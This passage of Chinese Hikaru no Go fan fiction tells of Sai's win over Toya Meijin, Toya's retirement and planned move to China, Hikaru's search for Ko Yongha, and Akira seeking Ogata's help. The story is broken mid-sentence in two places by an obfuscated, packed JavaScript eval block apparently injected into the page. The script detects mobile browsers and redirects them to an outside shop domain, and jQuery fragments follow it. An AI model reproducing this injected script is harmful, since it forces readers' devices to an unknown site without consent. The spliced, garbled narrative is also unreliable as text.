“哎呀呀,不愧是塔矢名人,这片棋下得真是太有水准了。”桑原本因坊又一次发出了愉快的声音。 座间王座也加入了讨论,他故意和桑原坐在与电脑同一个距离的位置,仿佛在彰显头衔持有者的高贵。 “这么说来,倒是sai稍处劣势?” 旁边的仓田七段强势插话道:“嗯……就算如此……可大致的目数并没有多少差距,这棋还有得下啦。要是我的话,肯定会找到办法反击的!” “……你什么时候过来的,仓田君。” “讨厌啦,就在刚才!座间老师不欢迎我?” “没有的事。”座间只是在纳闷小小的观战间怎么挤满了这么多高段棋士而已。 而且这个sai……下出来的棋……总是莫名其妙让他联想到某个实力高强得不正常的国中生…… 那个佐和良中的“进藤光”。 应该不会吧,进藤下得确实不错,但还没有夸张到sai的这个地步。看着手里新换的折扇,座间不禁为自己捏了把汗,要是换成自己坐在塔矢行洋的位置上,还真没信心稳赢这个棘手的对手!sai,到底是何许人也? “咦!” 突然,行至197手时,黑棋所采取的策略让光的瞳孔猛地缩小。 这是…… 怎么会?塔矢名人怎么会下出这一手? 确实,棋局进行到最后已经到了接近收官的阶段,但是在一片已经没有什么危险的区域补上一手,不是有些无意义吗?还是说,他认为棋局已经终了了呢? ……不,没有结束,还没有。 佐为目前是处于劣势没错,但是塔矢名人放松攻击一定会给佐为带来求胜的转机。或许,如果是普通的棋士,到这里棋局就可以分出胜负了。但是进藤光很清楚,他的对手是佐为,不是什么普通的低段棋士。胜负就还差得远。 如果是佐为的话,一定会抓住这个缝隙一举击败塔矢名人。 光这样想着,抬起头去继续等候,水到渠成地,身后的佐为开口了:“13之七,并。” ——来了!! 塔矢名人的主导权被夺去,哪怕只是一瞬间,光也已经能够预见到最后的结局。 守在电脑前的那么多观战者之中,也只有寥寥数人预估到了结局。 但凡是预估到的人,都发自内心地站起身来。 为了表达这过于惊人的一局的敬意。 以及对sai超凡脱俗的围棋才华的震撼。 240手,佐为一记完美的补缺,白棋终胜一目半。 所有的声音都从世界上隐去,所有的黑暗都让步于这一瞬的光明,所有的呼吸都为这一刻而屏住,屏幕前的人们的脸庞上露出各异的神情,没有一个人在那时能行动自如,他们都沉浸在另一个维度的惊愕之中,只为了窗口上平淡弹出的那一行小字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591364|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' : 【toya koyo,认负。】 “……塔矢行洋……认输了?!” “为什么?不是还没结束吗?” “sai赢了?” 惊讶,疑惑,不解,好奇,喜悦,愤怒,简单的词汇无法形容这一刻他们复杂的心情。 “哈哈,哈哈哈,哈哈哈哈,这一局……一定会载入史册!!” 久原整个人都扑在了屏幕前,看得热泪盈眶,明明他只是个旁观者,但那一刻他却分明感受到了千年以来的围棋历史凝聚成型的瞬间,狂热的浪潮如同海啸席卷着他的内心。在这一局面前,他再次感到了自身的渺小,以及,围棋精神的博大精深。 太险了,实力相当的二人都拥有冲击神之一手的能力,如果对手稍弱一分,都难以复刻今日这波澜壮阔的一局。 棋逢对手,这个成语的含金量简直就是为了见证这一刻而存在的。 他没看错人,进藤光果然必定成为世界级的围棋冠军!不,岂止是冠军,他会拓宽围棋这一领域的边界!作为第一个踏出那一步的领军者! “……佐为!” 光猛地回头看着紧握扇柄的长发幽灵。 还好,他没有消失……光深深地松了口气。 在佐为眼中闪烁着的,是心满意足的光辉,不单单是为了那一目半的胜利,也为了棋盘对面的塔矢行洋。旗鼓相当的对手是如此可遇不可求,而他,明明是个早已失去肉身的魂灵,却有幸在千年后……与命中注定的对手相逢。 感谢上天,给了他重返现世的机会。 “我越来越想继续下棋了,小光。” 佐为微笑着望向身前的孩子。 只是一局还不够!他还想……还想……还想……同这个对手较量到世界尽头。 他的愿望并未结束,这不会是结束。 起初他觉得还能下棋就很好了,至于什么时候会从世上离去,都无所谓,他只想趁自己还有意识地时候多下几盘棋而已。但进藤光的热情,唤醒了他对“对手”的渴求。 就像光渴望亮那般,他渴望对手的欲望也逐渐膨胀。 他还想存在得更久一些,只要存在下去,说不定就能创造出更尽善尽美的一局……他绝对不要成佛,不要消失。 “嗯!”光跳起来给了佐为一个大大的拥抱,“我们一起再下更多更多更多局棋吧!下个不停!一分一秒也不要停!你一定要等着我,在我下赢你之前,你绝对不可以走!” “好啦好啦,小光……我从没说过要走这种话呀……就算我想走,也没有办法附身别人……” “不许说附身别人这种无情的话!佐为是我的师父!岂有半途而废的道理!” 那一刻,在进藤光脸上绽放出的笑容是如此温暖,而炽热。 佐为感到了由衷的幸福。 不过,对于遗憾落败的塔矢行洋来说,这既是一个时代的完结,又是另一个新时代的开端。 他在屏幕那端,轻轻放下了右手,将其插回袖口。棋盘对面空悬多年的位置似乎终于迎来了主人。但很遗憾,那是一个无法在现实世界相见的神秘人。对于自己的失败,塔矢行洋心中并无多余的波澜。即使在亮面前,他也从未表现出任何异样,仿佛只是完成了再普通不过的一局,生活仍在照常继续。 翌日,网络棋神sai战胜塔矢四冠王的消息在全球的围棋界掀起了轩然大波。倒并非因为身为日本棋坛第一人的塔矢行洋会输给一个身份都不明的sai,而是因为此后塔矢行洋宣布的重大消息。 ——名人将正式从日本棋坛隐退,告别其在日本棋院辉煌耀眼的职业生涯。 ●○●○ 53.Chapter 52. 隐退宣言 突然得知塔矢行洋隐退的消息,进藤光吓得差点直接心脏病突发。连厨房里的美津子都被他的吼声惊得扭过头来。 “……什么?你再说一遍?!” 他一只手抓紧电话听筒,简直不敢相信自己的耳朵,然而对方却给出了肯定的答复。 “我说,塔矢老师他从职业界隐退了,今天就是塔矢研究会最后一次正式会面。老师他好像有话想对你说,进藤君有空过来吗?” 好脾气的芦原居然真的一字不漏地重复了一遍。 “隐退?为什么?!”光追问道。 “是啊,我们也都在想这个问题,不过怎么看老师这次的决定都有点太过火了……”芦原苦笑着摇摇头,“我们本来想劝劝他的,可是老师已经对记者这样说了,再反悔都不太可能。” 他不是那种会意气用事的人啊……而且,在日本棋坛上他也还没等到后继者呢。怎么会这么早就宣布要隐退? 太夸张了。 “隐退?”佐为明显是那个最焦急的人,“难道塔矢名人会不再下围棋了?!” 看他这么惊恐,进藤光连忙安慰这个慌乱之中的幽灵:“这肯定不会,他明明那么喜欢下棋的……最多就是暂时不参加职业比赛了吧。” “什么叫做‘最多就是’?这很严重好不好!小光!” 佐为带着哭腔制造冷气,进藤光一时不知道该说些什么来安慰对方。他也没料到塔矢行洋会反应这么大。 “佐为,你先冷静一下……” 进藤光刚说完开头,就被芦原转移了注意力,因为电话那头的芦原还在等待他的回答,连续“喂”了好几声。 “啊,是,芦原先生?” “总之你先过来,详细情况我到时候再说。”芦原的声音里也有几分疲惫。 “好的……” 进藤光的手恋恋不舍地离开话筒,他抬眼望着天花板,深深地长叹一口气。 这件事来得太无前兆,而且和他的预期完全不一样。塔矢行洋曾经的隐退是由于一半赌气做出的约定,一半疲于各大赛事的拉锯战、身心都有些劳累,但是现在…… “小光?”佐为见他发愣的样子,忍不住有点担心,试探地叫道,“你不去研究会吗?我们要找塔矢名人问清楚!” “嗯,要去,当然要去。” 进藤光觉得头都大了,他一步步走到玄关换上黄黑色的运动鞋,胸口还能感受到心脏剧烈的跳动。 乘电车前往塔矢研究会的时间还长,一路上本来想说一肚子话的佐为看着光惨淡的脸色,结果一句话也没能说出口。两个人之间的气氛很少这么沉默,这令他倍感不安。在佐为的记忆里,进藤光只会在面对自己时露出这样的表情,那种奇怪的歉疚与困惑交织在一起、变成一团乱麻。 “叮咚。” 按下门铃,他们面对着塔矢家的院门继续发呆,直到塔矢亮出来开门,看得出来对方心情也不算很好。 “进藤,你总算来了,我们就差你一个人了。”今天的亮好像有些心神不宁,不过也是,遇上这种事情,要是他还笑得出来那才奇怪吧。 “抱歉。” “没关系,你家离得远。父亲说想讨论昨天和sai下的那局棋,我想你一定能够有些不一般的见解。” 亮拉开纸门,棋室里里外外已经坐了很多人,看样子这次研究会是所有成员都到齐了,甚至上午有手合赛的绪方也出现在席位之间。不约而同的是,他们都用某种诡异的目光望着门口的光。 “大……大家好……” “那我们就开始吧,先讨论棋局,再说其他杂事。”塔矢行洋面不改色地打开棋罐,好像并没有刻意寻找光所在的方向,然而接下去的话却使光惊吓过度,“进藤君,你来摆sai的棋。” “诶?……那个,您是说……我?” 光难以置信地指着自己的下巴。 “对,坐下吧。”行洋见他没动静,于是补充道,“你是sai的弟子,由你来摆棋不是更好吗。” “可是……” 这种情况下怎么可能坦然接受啊,光的额头上渗出一层细密的汗珠,他回头对上亮的眼睛,似乎想要寻求帮助。这已经成为了他的习惯。 “去吧,进藤。”亮微微压低声音,说。 光只能忐忑不安地在塔矢行洋对面落座。揭开棋罐盖子的时候,他能感觉到自己指尖的颤抖。 棋局还是那么精彩,光却只能像一台机器一样一颗颗往棋盘上放棋子,不敢抬头去注视塔矢行洋的目光。佐为挺直身子坐在他旁边,俨然一副期许对手肯定的模样。 从第一手到最后一手,时间短促却无比漫长。 “……” “关于这一步,绪方你怎么看?” “嗯……不像sai往常的棋风,sai的棋里,秀策流的味道很浓,可是这次却有点……” “进藤,你的看法呢?”塔矢行洋转向发呆的光,问。 “诶?”光酝酿了一会儿自己的台词,小幅度颔首道,“也许因为对手是塔矢老师,所以秀策流可能不像以前那么适用?” 不知为何,原本应该讨论激烈的过程变得异常安静,安静得光都不敢多嘴。在几个必要的点上,说话的一直都只有塔矢行洋一个人,其余几人在他问起的时候才会插上一两句自己的见解。 气氛真是相当的不对头啊……佐为像强迫症患者一样拿扇子敲着自己的手心,左看看,右看看,却找不到缓和氛围的方法。 “……我看你们的注意力没办法全部集中到棋盘上。”以谁人都无法察觉到的声响轻轻叹气后,塔矢行洋无奈地放下手中的棋子,“看起来,要是我不好好说明一下隐退的问题,你们是不会静下心来思考棋局的吧。” “塔矢老师……” 光说完才发现只有他一人做出了反应,其他人都是一副洗耳恭听的样子。 “嗯?” “不,那个……塔矢老师您……为什么要隐退呢?明明现在势头正好,后面的新人也都还没能追上来……”光干脆一股脑倒出自己的疑问,“我们会很困扰的啊!” “势头正好……吗。”塔矢行洋的眼角竟然流露出一丝若隐若现的苦笑,“如果固步自封也算是好的一种,那么倒也姑且称得上是势头正好吧。” 固步自封…… 众人面面相觑。 塔矢行洋居然用了这么严重的词汇来批评自己。让人一时失去了反驳的资格。 “您不必这么说!”芦原大声表达出自己的心情,道,“何况您还没有追寻到真正的神之一手,就这样从棋坛隐退的话,不是很遗憾吗?” “喔?看起来是我没说清楚。”闻言,塔矢行洋略微惊讶地抬起视线,“所谓隐退,只是暂时告别日本的职业赛场而已,我还没打算放弃围棋。” “……诶?” 众人大眼瞪小眼,唯有光露出了“果然是这样”的表情。 塔矢行洋怎么可能不下棋嘛! 况且佐为还在呢,在对手仍然朝着神之一手前进的时候,塔矢行洋绝对不可能就这样眼巴巴地看着佐为越走越远。这是最基本的、棋士的尊严。 塔矢行洋摆正了身体。 “又不是只有在职业比赛里才能下出好棋。经过和他的一战,我彻底明白了这个道理。” 塔矢行洋并没有明说这个“他”是谁,但是所有人都知道那个人就是sai,放眼全日本,几乎仅有sai能称得上是塔矢行洋的对手,他也是对塔矢行洋的棋风产生最大影响的存在。 “我能理解您的心情,可是这样一来……我是说,即使不隐退也不妨碍您下出好棋啊!”芦原仍然不想放弃。他希望老师能够留下来,见证他们的成长。 但是,塔矢行洋却流露出了复杂的表情。 “日本的围棋并没有走在正确的道路上,我能够一点点地感觉到。虽然外表上好像正在复苏,实际上却又不是这么一回事,中国和韩国在国际大赛上的表现都在突飞猛进,只有我们毫无转变。要想赢过现在的自己、离神之一手更近一些,仅仅满足于国内的头衔战是绝对不可取的。” 塔矢行洋的说法震惊了周围的弟子们,也包括进藤光在内,他们都未曾预想到塔矢行洋会说出这般直接而霸道的话。 日本头衔战奖金过高,让太多棋手不 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“当然,和国内的高手也要较量,这一点就算身在异乡也能做到,想要认真去下一局棋的话,对手不坐在你跟前也没有关系。”塔矢行洋接着打破了他的顾虑,“我以前对网络围棋嗤之以鼻的态度,在遇到sai之后完全改变了,我应该感谢他的出现。” “……” 研究会的其他成员都面面相觑,他们被塔矢行洋的向往所打动,反而不知道该接什么话好了。 大家都还没有达到他的等级,说什么都显得乏力。 “进藤。” “是!”突然被叫到名字的光紧张地从地上弹起来。 “sai那边——”停顿了一下,塔矢行洋似乎决定换一个称呼,“藤原君那边,以后还要请你多指教了。” “藤原……君?” 确实,光在介绍sai的时候就提起过藤原佐为的名字,不过这个名字被自己以外的人叫出来还真是头一次。 进藤光尚且如此,可想而知佐为已经兴奋到何等地步。他微微抬高下巴,认真聆听着塔矢行洋接下来的每一个字。 “可以的话,我很希望常常与他切磋棋艺。” 塔矢行洋面带微笑的样子,让身板挺得笔直的佐为再次压低眉心,仿佛在以此回应他的挑战。 光迟疑道:“是,我一定会转达的。不过sai他不喜欢有人打扰,邀约对弈的话还是得在网上……” “这是当然。” 塔矢行洋依旧是一副云淡风轻的姿态,他已经提前准备好了自己的回答。有些事情,一旦身为局中人的自己想通了,也就不会再纠结于无谓的意气。 “小光?!告诉我这是真的!”佐为喜出望外地揉着光的头发。 “好啦好啦……快停下来,好好的气氛就这么被你破坏了啦!!” 此时,从侧面的角落传出一个声音。 “父亲您真的要去中国?!但是……是什么时候?” 很明显,亮才是那个最感到难以置信的人,这几天父亲总是在忙,关于这件事他完全没听到过风声,明明他是塔矢行洋的亲儿子…… “嗯,忘记告知你了,我预想的是过了六月就动身……我不在的日子里,也别松懈了自我磨炼。” 三句不离老本行——原本想这样吐槽的光,看到亮炯炯有神的眼睛之后又感到了莫名的欣慰。原本,他们就是同一类人呢。除了围棋,什么也钻不进他们的心。 “是。” “对了,进藤。”塔矢行洋简单交代完理由之后,转向了愣在原地的进藤光。 “是?”光连忙绷紧神经。 “既然你是sai的弟子,我也希望你能不辜负他的教导,在我回来之前,要成长为一个真正独当一面的棋士。能做到吗?” 塔矢行洋严肃的叮嘱令光有些鼻子发酸。过去发生了很多很多乱七八糟的事,他的人生可以说是传奇到极致,然而,像这样被寄予期望的次数,却实在不算多。 他忽然忍不住抬起头大喊:“如果是这样的话……也请带我一起去中国!我想继续跟着塔矢老师学习!” ●○●○ 54.Chapter 53. 各自出发吧,少年们 在座的弟子们都一脸震惊地看着他。 没想到他会这样大胆。 “进、进藤君……”芦原小声提醒,似乎试图阻止他这唐突的请求。 塔矢行洋却微微一笑,道:“呵呵,虽然我也很想这么做,但进藤君还是以职业考试为优先吧。无段的业余棋手是无法收到中国棋院的邀请的。而且,和我不同,在日本,你还多的是对手等着你去击败。” 四冠王塔矢行洋已经下赢过所有的日本高段棋手了,他没有遗憾,即使继续下下去也无法突破更多。为了在下一次与佐为的对弈中获胜,他想去高手如云的异国磨炼身手。但进藤光不一样,他无需着急,先把国内棋手都挑战一遍再说——在塔矢行洋的话语中,潜藏着的正是这般宏大的鼓励。 他相信自己能一往无前。 “……是,我明白了。” 这样说着,光侧脸看见佐为正在对他露出鼓励的笑。他感到瞬间心中充满了力量。 一个独当一面的棋士……吗…… 说实话,对于自己人生未来的计划,他早就不再抱有更多新奇的想法。有了一个无限大的目标,追逐竟也变成一件永无止境的事情,这条脉络越来越清晰,脚下前进的步履却越来越沉重——明明不应该是这样。从回到年轻时代的那一刻起,他应该就已经为自己定下了非实现不可的目标,并且无论如何都不会被困惑阻挡向前的斗志。原本应该是如此才合理。 但他心底的某个声音清楚地告诉他,他也将面临一个全新的选择。 不管那个未来是多么艰难……都无关紧要。就像冲破陈旧的牢笼,从外壳里脱出一样,他已经不能再停滞不前了。他要跟更多更多的人对弈,现在,立刻,马上! “佐为。”从塔矢家离开后,光暗自做出了决定,“明天我们就去联系久原吧。我想拜托他一件事。” “事?” “嗯。我想拜托他,寻找一位韩国的棋手。” 留下这句没头没尾的话,光便加快脚步向前走去,佐为连忙跟了上来。 这一夜,想必围棋界的许多人都无法安睡吧。 翌日,佐和良中学围棋部活动室里,听到这一请求的久原木子郎露出了困惑的表情。他放下了正在火速敲击笔记本电脑键盘的双手,看来是正在全力撰写最新的围棋分析博客文章,被打断思路他也不恼火,但他转了转眼球,显然是对进藤光有点无语。 “啊?信息量就只有14岁的韩国棋手这一点吗……?我可不懂韩语啊,又不认识什么韩国网友……不能因为我文采斐然就想当然觉得我精通64国语言在全球各国都是棋界社交花啊进藤光!” “那就韩国人开的围棋会所也行。拜托你了,网上冲浪达人!” 这还是进藤光第一次对他这么好言好语地恳求,甚至这家伙还顺手带来了一满袋零食,其中就包括需要排队俩小时才能买到的藤吉屋季节限定新口味羊羹。 久原莫名感到了一丝愉悦。以前一直都是他求着进藤光,今天居然反过来了,看来进藤也知道他的重要性啊。 “嗯,符合这个条件的倒是不多……我可以帮你找找看。不过你到底是从哪里听说的这个高永夏啊?《围棋周刊》?我每期都看,咋对他一点印象都没有。” 久原的兴趣显然不在这个地方,他满脑子都是sai与塔矢行洋的世界名局,“——比起这个!塔矢老师为什么会突然隐退?你和他的那一局实在下得太好了,有那种水平,你根本不需要什么职业考试,直接参加国际大赛都有望拿到奖杯!在我面前你怎么就下不出那种好棋呢?!” “你好啰嗦啊,先帮我找到高永夏再说!” “真搞不懂你到底在想什么……” 久原嘴上说着这些,手却片刻未停。 第一步,谷歌地图定位东京都内的围棋会所,排除掉通行距离1小时以上的地方;第二步,用爬虫抓取围棋论坛上相关关键词、与“韩国”匹配,找到大家认为韩国人常去的店名;第三步,走付费途径从筛选过的结果中确认会所经营责任人的姓名,看是否符合韩国人的起名习惯。久原习惯了调查这一套,不费吹灰之力就锁定了光的目标。 “BINGO,找到了。”他一边大口大口吃着羊羹,一边把打印着地址及地图的A4纸递给进藤光,“我还要忙围棋部的联赛特训,你自己去吧。回来一定要记得跟我复盘你和塔矢行洋的那一局!一定喔!” “多谢!” 对哦,中学围棋部6月就是夏季联赛了。大家都在以自己的方式各自努力着,想到这里,光的干劲也充足了起来。 他推开目的地会所的门,果然听到里面传来韩语对话的声音。 就是这个地方没错,这里确实是他曾经和伊角、和谷一起踢馆过的韩国围棋会所,也就是在这个地方,他遇到了放假来日本调节心情的洪秀英。那是进藤光上辈子还是院生时的事。不过他今天要找的人并不是洪秀英,而是…… “高永夏?”店主重复了一遍这个名字。 “对。” 旁边的大叔推开椅子,说:“不确定呢,韩国年轻有为的小棋士太多了,我们也不会一个一个记住。” 另一个大叔帮腔道:“等他拿到世界冠军就自然而然记住啦!” “哈哈,就是这个道理!” 光很震惊,他们竟然并不知晓高永夏的大名。按时间线来说,他遇到洪秀英是在2000年的8月,也就是一年后的事……北斗杯也不过是2002年5月,也就是三年后的的事,那时候高永夏已经是韩国有名的国内冠军人选了。难道韩国杰出的新生代棋手更新换代真的这么快,连那个桀骜不驯的王者高永夏都曾经不为人知吗? 世界冠军……光不禁握紧了双拳。确实,这个标准简单粗暴但最有效。 “你要找的人不在这里吗,小光?”佐为还没明白他的意图所在,“韩国……是指朝鲜王朝吧?你在那么遥远的地方也有认识的朋友呀?” 可爱的小幽灵真的以为进藤光朋友满天下了。虽然这些朋友总是单方面的朋友,光知道他们,他们不知道光,就连佐为自己也是这样。在佐为心中,小光就是一个无所不知、无所不晓的神秘天才,全世界的棋手都逃不过他的眼睛。 不过这次他踩雷了。 “朋友?谁跟那种人是朋友!他可是我的死敌!”光在内心拳打脚踢了高永夏一万遍,气呼呼地瞪着柜台上的罐头泡菜。 这时,光发现坐在窗边的似乎是一个认识的老熟人。 “尹老师!”他叫出了声。 眯眯眼的青年男子侧过头来,见到是进藤光,有些惊喜地露出了笑容。尹老师还记得这个曾在中学围棋联赛上大放异彩的小朋友,那一局实在是太有水平了,以至于后来他还拿去海王围棋部的课上讲解过几次,甚至对校长提起过“要是能招这孩子来海王就太好了”这样的话。 “你是……佐和良中的进藤吧?我还以为你一定会去叶濑呢。真难得,居然在这种地方见到你,6月的夏季联赛你还会参加吗?” 两人很自然地坐在了一桌。看样子,尹老师对教导主任的“特别招生”并不知情。 光摇摇头:“不,我已经是院生了。打算7月参加职业考试。” “这样吗。我好像完全不意外。不管怎么说你也是那个塔矢亮君都认定的对手啊。”尹老师的语气里充满了赞许。 这辈子的塔矢亮没有因进藤光的缘故加入海王围棋部,但尹老师是韩国职业棋士,有机会见面的话一定会找亮对局,多半两人在海王中学有私下交过手,至少听尹老师的语气,他也对塔矢亮惊人的棋力感到难以置信。光没好意思问最后谁赢了。 他迅速切入正题:“尹老师在韩国认不认识一个叫高永夏的棋手?他现在应该是13或者14岁左右。” 尹老师摸了摸下巴。 “……哦,这个名字略有印象,大家说他是很有潜力的新人,两年后或许可以在世界级大赛里见到他,具体情况我就不了解了。没想到啊进藤,你竟然对韩国的棋手也感兴趣?” “!!” 果然,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612730|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时的高永夏虽然还暂未一战成名,但在关心棋界新人的职业棋手眼中,已经是相当具有威胁性的后辈了吧。光不自觉地挺直了后背,手指也紧紧攥在了裤腿上。他认定的劲敌,可不会一直是深渊里的潜龙,假以时日那家伙就会成长为一头可怕的猛兽。 “是的!我想和他对弈,能请您帮忙联系上他吗?” “和他对弈……?还真是突然的想法,你是要去韩国旅行么?” “不,在网上就行。” 光的语速忍不住加快了。他想和尽量多的人对弈,不知为何,第一个想起的对象就是高永夏。也许在内心深处,他还是无法原谅那个在北斗杯上遗憾落败、后来也再未战胜过高永夏的自己。所以,即使明知以当今他的棋力对战十年前的高永夏很大概率会是胜之不武,他也想试试。围棋的成长曲线并非线性,往往是前期进步容易轻巧,后期进步难于登天,他想知道自己十年来的努力究竟能把昔日仇敌逼到什么地步。 高永夏是他最想面对的心魔。他不会逃避。也不能再逃避。 此时,绪方家的高级公寓。 门铃响起时,绪方正心不在焉地翻阅着《围棋周刊》,那上面刊登了一篇总主编新写的文章,总结了塔矢行洋在隐退前最有意义的十局棋,就像某种意味深长的送别仪式。直到这一刻,恩师即将离开日本的实感才初次落地。 绪方是塔矢研究会中,与老师相处时间最久的门生,最大的梦想就是有朝一日能在公式赛里胜过自己的老师。可惜,塔矢行洋并未给他追赶的机会。 绪方打开门,看到那彬彬有礼的少年站在门口。 “您好,绪方先生。” “是小亮啊。”绪方侧开身子,让他进屋,“怎么来找我了,离老师出国只有一个月了吧,不用多陪陪他么。” 塔矢亮微微鞠了一躬,才跟着他走进房间内。这里明明是价格不菲的酒店式公寓,绪方却总爱拉上窗帘,制造出一种昏暗阴沉的氛围,也不知是不是这种色调更有益于他集中精力思考。亮接过绪方递来的茶,却没有喝,而是直接放回了茶几上。 “眼下不是多愁善感的时候。父亲相信我能赢过进藤,那我就必须赢给他看。”亮的双眼里写满了认真,“我是来……请您赐教的。” 这句话让绪方挑了挑眉。 “我可没什么好教你的,天才少年。” 他将双手插入西装裤兜,站在巨大的热带鱼缸前,望着水槽里塔矢亮的影子。这个师弟,总不给人喘息的机会,绪方从亮还不会说话时就认识了他,亲眼看着他以惊人的速度学拿棋子、背定式、模仿父亲打谱、然后越来越锋芒毕露,眼看就快追到自己跟前了。 这样快的成长节奏,还不满足吗? 亮摇了摇头。“在我认识的所有棋手中,绪方先生是最在意进藤的那一个。” “……” “无需多言,您也一定研究过他的棋路。” 绪方毫不客气地与玻璃内侧的亮对视着,冷冰冰地说:“这让我有种自己遭到利用的错觉呢。” 亮没有回避他的质疑。 而是,更加坚定地压低了眉心。 “请务必当做如此。” 只要是为了战胜进藤,他愿意向任何人求教,也迫切需要与更多高段棋手的切磋,而绪方精次,毫无疑问就是他们之中最合适的人选,没有之一。作为同样在意进藤光的塔矢门下弟子,师兄弟二人平素关系并不亲密,绪方性格高冷,亮也不爱撒娇,像这样一对一的对话都没进行过几次。然而,那个一贯独来独往的塔矢亮,居然会专门针对进藤,寻求自己的帮助…… “哼……有趣。”绪方从喉咙深处发出了一声轻笑,“是什么样的对手能把你改变到这个地步?进藤此人,着实有趣。” 就在塔矢亮为追赶进藤光而请求绪方的特训帮助时,尹老师也终于拨来了回复的电话。 光站在家中一楼的电话机前,双手抓着听筒,十分紧张。 “喂?是我!怎么样了,尹老师?” ●○●○ 55.Chapter 54. 关西棋院的来客 “进藤君,我委托朋友找到他了。” 笑容爬上了光的嘴角:“找到了?!太好了!” 尹老师的声音里透露出几许无奈,“但是很遗憾,高永夏对你的邀请没多大兴趣。听说你是无段棋手,他多半以为你只是在恶作剧吧,日本的院生相当于韩国的研究生,按通常的看法,你的实力和他不是一个等级。抱歉我没帮上忙。” 笑容瞬间垮掉,光试图据理力争:“怎么这样!我可是下赢过座间王座的!虽然不是在正式比赛里!” “嗯……不少韩国职业棋手都认为,日本的高段棋手有不少混日子的家伙,不足为惧。不过我并不认为你无法做高永夏的对手,毕竟座间老师的实力是毋庸置疑的,你真的赢过他吗?如果是真的,那就太可怕了。” 尹老师并非在安慰他。韩国职业棋手的标准比日本更严格,以高永夏的眼界,婉拒区区一个日本院生的对弈邀请一点也不奇怪。但常年定居日本的尹老师很清楚,院生是一回事,能下赢座间王座的院生可就完全是另一回事了。别说考上职业,就连破例给他提前升段都是可能的!就像当年东渡日本的吴清源大师一样! 可是,如果他真的赢过座间,整个围棋界都该知道他的战绩了才对。 尹老师的纳闷是有原因的。毕竟座间输掉的那局棋太丢面子,已经在秘书和久原的合谋下间接封口了,进藤光也只能私下这样说说,不好拿出去大肆宣传。 光对尹老师表达了感谢,挂断了电话。 然后对着空气大吼一通: “哼!这个目中无人的高泡菜——!!等我先拿到世界冠军,总有一天我要让你后悔没接受我的挑战!!!” 连佐为都忍不住捂住了耳朵,等他冷静下来,才委委屈屈地飘到他身边,一脸替他抱不平的表情。 “好不容易赢了那局棋,结果他们都不相信小光呢,真过分。” 是啊,真过分!那局棋可不是佐为下的!是他自己下的! 得知了前因后果的久原却镇定地拍拍光的肩膀,一脸无所谓。 “嘛,事情就是这样,这几年韩国围棋确实比我们厉害,他看不上你很正常。解决办法也很简单,你直接告诉他你就是sai吧,以sai赢过塔矢行洋的显赫名声,他绝对会求着你要和你对弈的。” 没想到光一万个摇头。 “只有这个百分百不行!我不会以sai的身份和他下棋!死也不会!” 看他如此紧张,久原只能困惑地皱了皱眉,“好奇怪哦,你对隐藏sai身份的执着已经强到我不能理解的地步了……唉,既然你不同意,就先放弃这个姓高的咯,等你考上职业之后,自然有机会在国际赛事上和他对弈。” “久原!” “你干嘛?”被进藤光叫到名字时,久原总忍不住要抖一抖肩,生怕他又提出什么奇怪的要求,“进藤,姑且我也比你年长,你叫我的时候为什么从来不加‘前辈’两个字?” “给我写点宣传软文!” “……而且还总是祈使句。” “要是我足够有名了,他们就都会主动来找我了!不是吗?” 这个进藤光,最近真是莫名其妙的急躁啊,是因为塔矢行洋突然间宣布隐退、给他带来了太大压力吗……明明一向都是久原教练负责给光上压力,但最近似乎反了过来,变成了进藤光在前面不要命地横冲直撞,久原在后面应接不暇。这股热血劲头让自诩drama皇帝的久原木子郎都自叹不如。 这家伙,还懂自己给自己买热搜这套营销思路了是吧? “倒也不是不行,但我还有棋院的约稿,还要给围棋部的联赛特训做日程表,你要排在后面的后面的后面喔。”久原噼里啪啦在电脑上打着字,忽然把笔记本掉转了方向,推到进藤光面前,“说起来……你看看这个。” “这是什么?” 光和佐为都瞪大了眼睛,看着屏幕上的网站。 标题赫然写着几个大字:“sai后援会官方论坛”。 也不知是谁偷偷建了专门给sai传达信息的留言板,在上面刊登世界各地的围棋粉丝们想对sai说的话,什么语言都有,还能实时更新,只要注册邮箱账号就能发布新留言,还可以给其他人点赞、评论。不得不说这个界面设计得还蛮新潮的,有些超前点播版5ch的味道。千禧年前后的互联网浪潮诞生了一大批这种风格的匿名论坛,被视为互联网精神的开放期象征,可谁又能想到一个幽灵也能有自己的粉丝后援会呢? “咦,这上面的sai,是我的名字吗?”佐为蹲在光身边,抬头看着网页上的小字。 由于佐为是平安时代的古人,只懂汉字不懂罗马字,所以在第一次小光给他起名“sai”的时候,他还只能通过读音确认这三个字母与自己之间的联系,不过网棋下得多了,现在佐为都能把26个英文字母认全了。再这样下去他说不定能先进藤光一步学会英语。 光兴奋不已地点点头:“对!佐为,他们都在和你对话!有了这个留言板,你也可以和任何人对话!在网络上,sai是真实存在的人!就算他们看不见你,也能和你通过文字交流!” “好厉害……就像不需要纸笔的笔谈一样呢。” “你想回复他们吗?佐为?” “当然想!让我先看看这些信件吧。” 佐为的嘴角弯成一轮新月,他用扇子抵着下巴,饶有兴趣地浏览着屏幕上的文字。 平安时代的男女常常以信传情,友人之间也以多以双鱼为记,一封封书信代表着跨越时间的思绪,时光荏苒,千载已过,如今人们用文字传达想法的浪漫还是未曾改变。 